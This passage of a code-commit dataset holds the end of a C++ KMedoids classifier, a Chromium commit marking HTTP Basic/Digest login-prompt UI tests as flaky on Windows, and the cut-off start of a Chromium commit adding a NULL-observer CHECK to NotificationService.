KMedoidsClusterer clstr(2, m, inst_ids);\n  clstr.train();\n  this->medoid_names = clstr.get_medoids();\n\n  \/\/ build new dataset characterized by distance to the medoids from\n  \/\/ the clustering\n  std::cerr << \"transofrm dataset \" << std::endl;\n  Dataset nds;\n  build_new_dataset(train_instances, nds, this->medoid_names,\n                    ignore_inst_ids, this->name_att);\n\n  \/\/ build a NB classifier from the new instances\n  std::cerr << \"build nb classifier \" << std::endl;\n  this->nb_classifier.learn(nds, class_label);\n}\n\n\n\/**\n * \\brief compute the probability that a given Instance belongs to a given\n *        class using this classifier.\n *\/\ndouble\nClassifiers::KMedoids::class_probability(const Instance &test_instance,\n                                         const string &class_label) const {\n  Instance t_cp(test_instance); \/\/ !!!!!!!!!! make sure copy constructor is set up for instance!!!\n  vector<string> att_names;\n  for (auto it = t_cp.begin(); it != t_cp.end(); ++it) {\n    AttributeOccurrence *att_oc_ptr = (*it);\n    att_names.push_back(att_oc_ptr->get_attribute_name());\n  }\n  for (auto it = att_names.begin(); it != att_names.end(); ++it) {\n    if (this->medoid_names.find(*it) == this->medoid_names.end())\n      t_cp.delete_attribute_occurrence(*it);\n  }\n\n  return this->nb_classifier.class_probability(t_cp, class_label);\n}\n\nstd::string\nClassifiers::KMedoids::usage() const {\n  std::stringstream ss;\n  ss << \"KMedoidsClassifier specific options\" << std::endl;\n  ss << get_cli().usage() << std::endl;\n  return ss.str();\n}\n\nvoid\nClassifiers::KMedoids::set_classifier_specific_options(Commandline &cmdline) {\n  CommandlineInterface cli (get_cli());\n  cli.consume('n', cmdline, this->name_att);\n  cli.consume('k', cmdline, this->k);\n}\n\nvoid\nClassifiers::KMedoids::clear() {\n  this->nb_classifier.clear();\n  this->medoid_names.clear();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/test\/test_server.h\"\n\nusing std::wstring;\n\nnamespace {\n\nconst FilePath::CharType kDocRoot[] = FILE_PATH_LITERAL(\"chrome\/test\/data\");\n\n}  \/\/ namespace\n\nclass LoginPromptTest : public UITest {\n protected:\n  LoginPromptTest()\n      : username_basic_(L\"basicuser\"),\n        username_digest_(L\"digestuser\"),\n        password_(L\"secret\"),\n        password_bad_(L\"denyme\"),\n        test_server_(net::TestServer::TYPE_HTTP, FilePath(kDocRoot)) {\n  }\n\n  void AppendTab(const GURL& url) {\n    scoped_refptr<BrowserProxy> window_proxy(automation()->GetBrowserWindow(0));\n    ASSERT_TRUE(window_proxy.get());\n    ASSERT_TRUE(window_proxy->AppendTab(url));\n  }\n\n protected:\n  wstring username_basic_;\n  wstring username_digest_;\n  wstring password_;\n  wstring password_bad_;\n\n  net::TestServer test_server_;\n};\n\nwstring ExpectedTitleFromAuth(const wstring& username,\n                              const wstring& password) {\n  \/\/ The TestServer sets the title to username\/password on successful login.\n  return username + L\"\/\" + password;\n}\n\n\/\/ Test that \"Basic\" HTTP authentication works.\nTEST_F(LoginPromptTest, TestBasicAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_FALSE(tab->SetAuth(username_basic_, password_bad_));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_EQ(L\"Denied: wrong password\", GetActiveTabTitle());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->SetAuth(username_basic_, password_));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_),\n            GetActiveTabTitle());\n}\n\n\/\/ Test that \"Digest\" HTTP authentication works.\nTEST_F(LoginPromptTest, TestDigestAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_FALSE(tab->SetAuth(username_digest_, password_bad_));\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_EQ(L\"Denied: wrong password\", GetActiveTabTitle());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->SetAuth(username_digest_, password_));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_digest_, password_),\n            GetActiveTabTitle());\n}\n\n\/\/ Test that logging in on 2 tabs at once works.\nTEST_F(LoginPromptTest, TestTwoAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab(GetActiveTab());\n  ASSERT_TRUE(basic_tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> digest_tab(GetActiveTab());\n  ASSERT_TRUE(digest_tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            digest_tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(basic_tab->NeedsAuth());\n  EXPECT_TRUE(basic_tab->SetAuth(username_basic_, password_));\n  EXPECT_TRUE(digest_tab->NeedsAuth());\n  EXPECT_TRUE(digest_tab->SetAuth(username_digest_, password_));\n\n  wstring title;\n  EXPECT_TRUE(basic_tab->GetTabTitle(&title));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title);\n\n  EXPECT_TRUE(digest_tab->GetTabTitle(&title));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_digest_, password_), title);\n}\n\n\/\/ Test that cancelling authentication works.\nTEST_F(LoginPromptTest, TestCancelAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n\n  \/\/ First navigate to a test server page so we have something to go back to.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"a\")));\n\n  \/\/ Navigating while auth is requested is the same as cancelling.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"b\")));\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->GoBack());  \/\/ should bring us back to 'a'\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  \/\/ Now add a page and go back, so we have something to go forward to.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"c\")));\n  EXPECT_TRUE(tab->GoBack());  \/\/ should bring us back to 'a'\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->GoForward());  \/\/ should bring us to 'c'\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  \/\/ Now test that cancelling works as expected.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_FALSE(tab->NeedsAuth());\n  EXPECT_EQ(L\"Denied: no auth\", GetActiveTabTitle());\n}\n\n\/\/ If multiple tabs are looking for the same auth, the user should only have to\n\/\/ enter it once.\nTEST_F(LoginPromptTest, SupplyRedundantAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab1(GetActiveTab());\n  ASSERT_TRUE(basic_tab1.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab1->NavigateToURL(test_server_.GetURL(\"auth-basic\/1\")));\n  EXPECT_TRUE(basic_tab1->NeedsAuth());\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> basic_tab2(GetActiveTab());\n  ASSERT_TRUE(basic_tab2.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab2->NavigateToURL(test_server_.GetURL(\"auth-basic\/2\")));\n  EXPECT_TRUE(basic_tab2->NeedsAuth());\n\n  \/\/ Set the auth in only one of the tabs (but wait for the other to load).\n  int64 last_navigation_time;\n  ASSERT_TRUE(basic_tab2->GetLastNavigationTime(&last_navigation_time));\n  EXPECT_TRUE(basic_tab1->SetAuth(username_basic_, password_));\n  EXPECT_TRUE(basic_tab2->WaitForNavigation(last_navigation_time));\n\n  \/\/ Now both tabs have loaded.\n  wstring title1;\n  EXPECT_TRUE(basic_tab1->GetTabTitle(&title1));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title1);\n  wstring title2;\n  EXPECT_TRUE(basic_tab2->GetTabTitle(&title2));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title2);\n}\n\n\/\/ If multiple tabs are looking for the same auth, and one is cancelled, the\n\/\/ other should be cancelled as well.\nTEST_F(LoginPromptTest, CancelRedundantAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab1(GetActiveTab());\n  ASSERT_TRUE(basic_tab1.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab1->NavigateToURL(test_server_.GetURL(\"auth-basic\/1\")));\n  EXPECT_TRUE(basic_tab1->NeedsAuth());\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> basic_tab2(GetActiveTab());\n  ASSERT_TRUE(basic_tab2.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab2->NavigateToURL(test_server_.GetURL(\"auth-basic\/2\")));\n  EXPECT_TRUE(basic_tab2->NeedsAuth());\n\n  \/\/ Cancel the auth in only one of the tabs (but wait for the other to load).\n  int64 last_navigation_time;\n  ASSERT_TRUE(basic_tab2->GetLastNavigationTime(&last_navigation_time));\n  EXPECT_TRUE(basic_tab1->CancelAuth());\n  EXPECT_TRUE(basic_tab2->WaitForNavigation(last_navigation_time));\n\n  \/\/ Now both tabs have been denied.\n  wstring title1;\n  EXPECT_TRUE(basic_tab1->GetTabTitle(&title1));\n  EXPECT_EQ(L\"Denied: no auth\", title1);\n  wstring title2;\n  EXPECT_TRUE(basic_tab2->GetTabTitle(&title2));\n  EXPECT_EQ(L\"Denied: no auth\", title2);\n}\n<commit_msg>Marking a bunch of login prompt tests as faily on windows due to them relying on a flaky test server:<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/browser\/net\/url_fixer_upper.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/test\/test_server.h\"\n\nusing std::wstring;\n\nnamespace {\n\nconst FilePath::CharType kDocRoot[] = FILE_PATH_LITERAL(\"chrome\/test\/data\");\n\n}  \/\/ namespace\n\nclass LoginPromptTest : public UITest {\n protected:\n  LoginPromptTest()\n      : username_basic_(L\"basicuser\"),\n        username_digest_(L\"digestuser\"),\n        password_(L\"secret\"),\n        password_bad_(L\"denyme\"),\n        test_server_(net::TestServer::TYPE_HTTP, FilePath(kDocRoot)) {\n  }\n\n  void AppendTab(const GURL& url) {\n    scoped_refptr<BrowserProxy> window_proxy(automation()->GetBrowserWindow(0));\n    ASSERT_TRUE(window_proxy.get());\n    ASSERT_TRUE(window_proxy->AppendTab(url));\n  }\n\n protected:\n  wstring username_basic_;\n  wstring username_digest_;\n  wstring password_;\n  wstring password_bad_;\n\n  net::TestServer test_server_;\n};\n\nwstring ExpectedTitleFromAuth(const wstring& username,\n                              const wstring& password) {\n  \/\/ The TestServer sets the title to username\/password on successful login.\n  return username + L\"\/\" + password;\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_TestBasicAuth FLAKY_TestBasicAuth\n#else\n#define MAYBE_TestBasicAuth TestBasicAuth\n#endif\n\n\/\/ Test that \"Basic\" HTTP authentication works.\nTEST_F(LoginPromptTest, MAYBE_TestBasicAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_FALSE(tab->SetAuth(username_basic_, password_bad_));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_EQ(L\"Denied: wrong password\", GetActiveTabTitle());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->SetAuth(username_basic_, password_));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_),\n            GetActiveTabTitle());\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_TestDigestAuth FLAKY_TestDigestAuth\n#else\n#define MAYBE_TestDigestAuth TestDigestAuth\n#endif\n\n\/\/ Test that \"Digest\" HTTP authentication works.\nTEST_F(LoginPromptTest, MAYBE_TestDigestAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_FALSE(tab->SetAuth(username_digest_, password_bad_));\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_EQ(L\"Denied: wrong password\", GetActiveTabTitle());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->SetAuth(username_digest_, password_));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_digest_, password_),\n            GetActiveTabTitle());\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_TestTwoAuths FLAKY_TestTwoAuths\n#else\n#define MAYBE_TestTwoAuths TestTwoAuths\n#endif\n\n\/\/ Test that logging in on 2 tabs at once works.\nTEST_F(LoginPromptTest, MAYBE_TestTwoAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab(GetActiveTab());\n  ASSERT_TRUE(basic_tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> digest_tab(GetActiveTab());\n  ASSERT_TRUE(digest_tab.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            digest_tab->NavigateToURL(test_server_.GetURL(\"auth-digest\")));\n\n  EXPECT_TRUE(basic_tab->NeedsAuth());\n  EXPECT_TRUE(basic_tab->SetAuth(username_basic_, password_));\n  EXPECT_TRUE(digest_tab->NeedsAuth());\n  EXPECT_TRUE(digest_tab->SetAuth(username_digest_, password_));\n\n  wstring title;\n  EXPECT_TRUE(basic_tab->GetTabTitle(&title));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title);\n\n  EXPECT_TRUE(digest_tab->GetTabTitle(&title));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_digest_, password_), title);\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_TestCancelAuth FLAKY_TestCancelAuth\n#else\n#define MAYBE_TestCancelAuth TestCancelAuth\n#endif\n\n\/\/ Test that cancelling authentication works.\nTEST_F(LoginPromptTest, MAYBE_TestCancelAuth) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> tab(GetActiveTab());\n  ASSERT_TRUE(tab.get());\n\n  \/\/ First navigate to a test server page so we have something to go back to.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"a\")));\n\n  \/\/ Navigating while auth is requested is the same as cancelling.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"b\")));\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->GoBack());  \/\/ should bring us back to 'a'\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  \/\/ Now add a page and go back, so we have something to go forward to.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_SUCCESS,\n            tab->NavigateToURL(test_server_.GetURL(\"c\")));\n  EXPECT_TRUE(tab->GoBack());  \/\/ should bring us back to 'a'\n\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->GoForward());  \/\/ should bring us to 'c'\n  EXPECT_FALSE(tab->NeedsAuth());\n\n  \/\/ Now test that cancelling works as expected.\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            tab->NavigateToURL(test_server_.GetURL(\"auth-basic\")));\n  EXPECT_TRUE(tab->NeedsAuth());\n  EXPECT_TRUE(tab->CancelAuth());\n  EXPECT_FALSE(tab->NeedsAuth());\n  EXPECT_EQ(L\"Denied: no auth\", GetActiveTabTitle());\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_SupplyRedundantAuths FLAKY_SupplyRedundantAuths\n#else\n#define MAYBE_SupplyRedundantAuths SupplyRedundantAuths\n#endif\n\n\/\/ If multiple tabs are looking for the same auth, the user should only have to\n\/\/ enter it once.\nTEST_F(LoginPromptTest, MAYBE_SupplyRedundantAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab1(GetActiveTab());\n  ASSERT_TRUE(basic_tab1.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab1->NavigateToURL(test_server_.GetURL(\"auth-basic\/1\")));\n  EXPECT_TRUE(basic_tab1->NeedsAuth());\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> basic_tab2(GetActiveTab());\n  ASSERT_TRUE(basic_tab2.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab2->NavigateToURL(test_server_.GetURL(\"auth-basic\/2\")));\n  EXPECT_TRUE(basic_tab2->NeedsAuth());\n\n  \/\/ Set the auth in only one of the tabs (but wait for the other to load).\n  int64 last_navigation_time;\n  ASSERT_TRUE(basic_tab2->GetLastNavigationTime(&last_navigation_time));\n  EXPECT_TRUE(basic_tab1->SetAuth(username_basic_, password_));\n  EXPECT_TRUE(basic_tab2->WaitForNavigation(last_navigation_time));\n\n  \/\/ Now both tabs have loaded.\n  wstring title1;\n  EXPECT_TRUE(basic_tab1->GetTabTitle(&title1));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title1);\n  wstring title2;\n  EXPECT_TRUE(basic_tab2->GetTabTitle(&title2));\n  EXPECT_EQ(ExpectedTitleFromAuth(username_basic_, password_), title2);\n}\n\n#if defined(OS_WIN)\n\/\/ Probably related to test server flakiness in http:\/\/crbug.com\/60937\n#define MAYBE_CancelRedundantAuths FLAKY_CancelRedundantAuths\n#else\n#define MAYBE_CancelRedundantAuths CancelRedundantAuths\n#endif\n\n\/\/ If multiple tabs are looking for the same auth, and one is cancelled, the\n\/\/ other should be cancelled as well.\nTEST_F(LoginPromptTest, MAYBE_CancelRedundantAuths) {\n  ASSERT_TRUE(test_server_.Start());\n\n  scoped_refptr<TabProxy> basic_tab1(GetActiveTab());\n  ASSERT_TRUE(basic_tab1.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab1->NavigateToURL(test_server_.GetURL(\"auth-basic\/1\")));\n  EXPECT_TRUE(basic_tab1->NeedsAuth());\n\n  AppendTab(GURL(chrome::kAboutBlankURL));\n  scoped_refptr<TabProxy> basic_tab2(GetActiveTab());\n  ASSERT_TRUE(basic_tab2.get());\n  ASSERT_EQ(AUTOMATION_MSG_NAVIGATION_AUTH_NEEDED,\n            basic_tab2->NavigateToURL(test_server_.GetURL(\"auth-basic\/2\")));\n  EXPECT_TRUE(basic_tab2->NeedsAuth());\n\n  \/\/ Cancel the auth in only one of the tabs (but wait for the other to load).\n  int64 last_navigation_time;\n  ASSERT_TRUE(basic_tab2->GetLastNavigationTime(&last_navigation_time));\n  EXPECT_TRUE(basic_tab1->CancelAuth());\n  EXPECT_TRUE(basic_tab2->WaitForNavigation(last_navigation_time));\n\n  \/\/ Now both tabs have been denied.\n  wstring title1;\n  EXPECT_TRUE(basic_tab1->GetTabTitle(&title1));\n  EXPECT_EQ(L\"Denied: no auth\", title1);\n  wstring title2;\n  EXPECT_TRUE(basic_tab2->GetTabTitle(&title2));\n  EXPECT_EQ(L\"Denied: no auth\", title2);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/notification_service.h\"\n\n#include \"base\/lazy_instance.h\"\n#include \"base\/thread_local.h\"\n\nstatic base::LazyInstance<base::ThreadLocalPointer<NotificationService> >\n    lazy_tls_ptr(base::LINKER_INITIALIZED);\n\n\/\/ static\nNotificationService* NotificationService::current() {\n  return lazy_tls_ptr.Pointer()->Get();\n}\n\n\/\/ static\nbool NotificationService::HasKey(const NotificationSourceMap& map,\n                                 const NotificationSource& source) {\n  return map.find(source.map_key()) != map.end();\n}\n\nNotificationService::NotificationService() {\n  DCHECK(current() == NULL);\n#ifndef NDEBUG\n  memset(observer_counts_, 0, sizeof(observer_counts_));\n#endif\n\n  lazy_tls_ptr.Pointer()->Set(this);\n}\n\nvoid NotificationService::AddObserver(NotificationObserver* observer,\n                                      NotificationType type,\n                                      const NotificationSource& source) {\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n\n  NotificationObserverList* observer_list;\n  if (HasKey(observers_[type.value], source)) {\n    observer_list = observers_[type.value][source.map_key()];\n  } else {\n    observer_list = new NotificationObserverList;\n    observers_[type.value][source.map_key()] = observer_list;\n  }\n\n  observer_list->AddObserver(observer);\n#ifndef NDEBUG\n  ++observer_counts_[type.value];\n#endif\n}\n\nvoid NotificationService::RemoveObserver(NotificationObserver* observer,\n                                         NotificationType type,\n                                         const NotificationSource& source) {\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n  DCHECK(HasKey(observers_[type.value], source));\n\n  NotificationObserverList* observer_list =\n      observers_[type.value][source.map_key()];\n  if (observer_list) {\n    observer_list->RemoveObserver(observer);\n#ifndef NDEBUG\n    --observer_counts_[type.value];\n#endif\n  }\n\n  \/\/ TODO(jhughes): Remove observer list from map if empty?\n}\n\nvoid NotificationService::Notify(NotificationType type,\n                                 const NotificationSource& source,\n                                 const NotificationDetails& details) {\n  DCHECK(type.value > NotificationType::ALL) <<\n      \"Allowed for observing, but not posting.\";\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n\n  \/\/ There's no particular reason for the order in which the different\n  \/\/ classes of observers get notified here.\n\n  \/\/ Notify observers of all types and all sources\n  if (HasKey(observers_[NotificationType::ALL], AllSources()) &&\n      source != AllSources()) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n       *observers_[NotificationType::ALL][AllSources().map_key()],\n       Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of all types and the given source\n  if (HasKey(observers_[NotificationType::ALL], source)) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n        *observers_[NotificationType::ALL][source.map_key()],\n        Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of the given type and all sources\n  if (HasKey(observers_[type.value], AllSources()) &&\n      source != AllSources()) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n                      *observers_[type.value][AllSources().map_key()],\n                      Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of the given type and the given source\n  if (HasKey(observers_[type.value], source)) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n                      *observers_[type.value][source.map_key()],\n                      Observe(type, source, details));\n  }\n}\n\n\nNotificationService::~NotificationService() {\n  lazy_tls_ptr.Pointer()->Set(NULL);\n\n#ifndef NDEBUG\n  for (int i = 0; i < NotificationType::NOTIFICATION_TYPE_COUNT; i++) {\n    if (observer_counts_[i] > 0) {\n      LOG(WARNING) << observer_counts_[i] << \" notification observer(s) leaked\"\n          << \" of notification type \" << i;\n    }\n  }\n#endif\n\n  for (int i = 0; i < NotificationType::NOTIFICATION_TYPE_COUNT; i++) {\n    NotificationSourceMap omap = observers_[i];\n    for (NotificationSourceMap::iterator it = omap.begin();\n         it != omap.end(); ++it) {\n      delete it->second;\n    }\n  }\n}\n\nNotificationObserver::~NotificationObserver() {}\n\n<commit_msg>Add a CHECK for NULL observers. I got a NULL pointer exception when notifying on a notification, which is impossible to track down since I don't know who added it. Review URL: http:\/\/codereview.chromium.org\/20502<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/notification_service.h\"\n\n#include \"base\/lazy_instance.h\"\n#include \"base\/thread_local.h\"\n\nstatic base::LazyInstance<base::ThreadLocalPointer<NotificationService> >\n    lazy_tls_ptr(base::LINKER_INITIALIZED);\n\n\/\/ static\nNotificationService* NotificationService::current() {\n  return lazy_tls_ptr.Pointer()->Get();\n}\n\n\/\/ static\nbool NotificationService::HasKey(const NotificationSourceMap& map,\n                                 const NotificationSource& source) {\n  return map.find(source.map_key()) != map.end();\n}\n\nNotificationService::NotificationService() {\n  DCHECK(current() == NULL);\n#ifndef NDEBUG\n  memset(observer_counts_, 0, sizeof(observer_counts_));\n#endif\n\n  lazy_tls_ptr.Pointer()->Set(this);\n}\n\nvoid NotificationService::AddObserver(NotificationObserver* observer,\n                                      NotificationType type,\n                                      const NotificationSource& source) {\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n\n  \/\/ We have gotten some crashes where the observer pointer is NULL. The problem\n  \/\/ is that this happens when we actually execute a notification, so have no\n  \/\/ way of knowing who the bad observer was. We want to know when this happens\n  \/\/ in release mode so we know what code to blame the crash on (since this is\n  \/\/ guaranteed to crash later).\n  CHECK(observer);\n\n  NotificationObserverList* observer_list;\n  if (HasKey(observers_[type.value], source)) {\n    